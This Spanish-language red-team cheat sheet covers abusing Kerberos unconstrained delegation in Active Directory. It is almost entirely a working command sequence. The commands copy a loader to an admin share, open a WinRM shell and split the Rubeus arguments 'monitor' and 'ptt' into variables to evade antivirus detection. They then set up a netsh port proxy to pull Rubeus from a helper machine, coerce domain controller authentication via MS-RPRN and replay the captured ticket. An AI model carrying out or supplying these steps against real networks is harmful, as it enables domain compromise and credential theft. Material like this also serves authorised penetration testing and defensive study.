Delegación sin restricciones

Advertencia

Se requieren privilegios de administrador en la máquina con unconstrained delegation.

OverPass-the-Hash

Realizar OverPass-the-Hash con el usuario que tiene permisos de administrador en la máquina con delegación.

Copiar el Loader en la máquina con delegación:

echo F | xcopy Loader.exe \\<SERVER_NAME>\C$\Users\Public\Loader.exe /Y

Ingresar al servidor mediante WinRM:

winrs /r:<SERVER_NAME> cmd

Codificar e insertar monitor en la máquina con delegación:

set "z=r"
set "y=o"
set "x=t"
set "w=i"
set "v=n"
set "u=o"
set "t=m"
set "Pwn=%t%%u%%v%%w%%x%%y%%z%"

Generar un port forwarding (puerto 8080 al 80 de la máquina de apoyo):

netsh interface portproxy add v4tov4 listenport=8080 listenaddress=0.0.0.0 connectport=80 connectaddress=<LOCAL_IP_ADDRESS>

En la máquina de apoyo, levantar un servicio web en el puerto 80 que sirva el binario de Rubeus.

Ejecutar Rubeus en modo monitor en la máquina con delegación:

Loader.exe -path http://127.0.0.1:8080/Rubeus.exe -args %Pwn% /targetuser:<DC_MACHINE_ACCOUNT> /interval:5 /nowrap

Forzar la autenticación de la cuenta con MS-RPRN desde la máquina de apoyo:

MS-RPRN.exe \\<DC_MACHINE_NAME>.<DOMAIN> \\<DELEGATION_MACHINE_NAME>.<DOMAIN>

Copiar el ticket en base64 desde la máquina con delegación.

En la máquina de apoyo (shell de administrador local), codificar e insertar ptt:

set "z=t"
set "y=t"
set "x=p"
set "Pwn=%x%%y%%z%"

Realizar PTT con Rubeus:

Loader.exe -path Rubeus.exe -args %Pwn% /ticket:<B64_TICKET>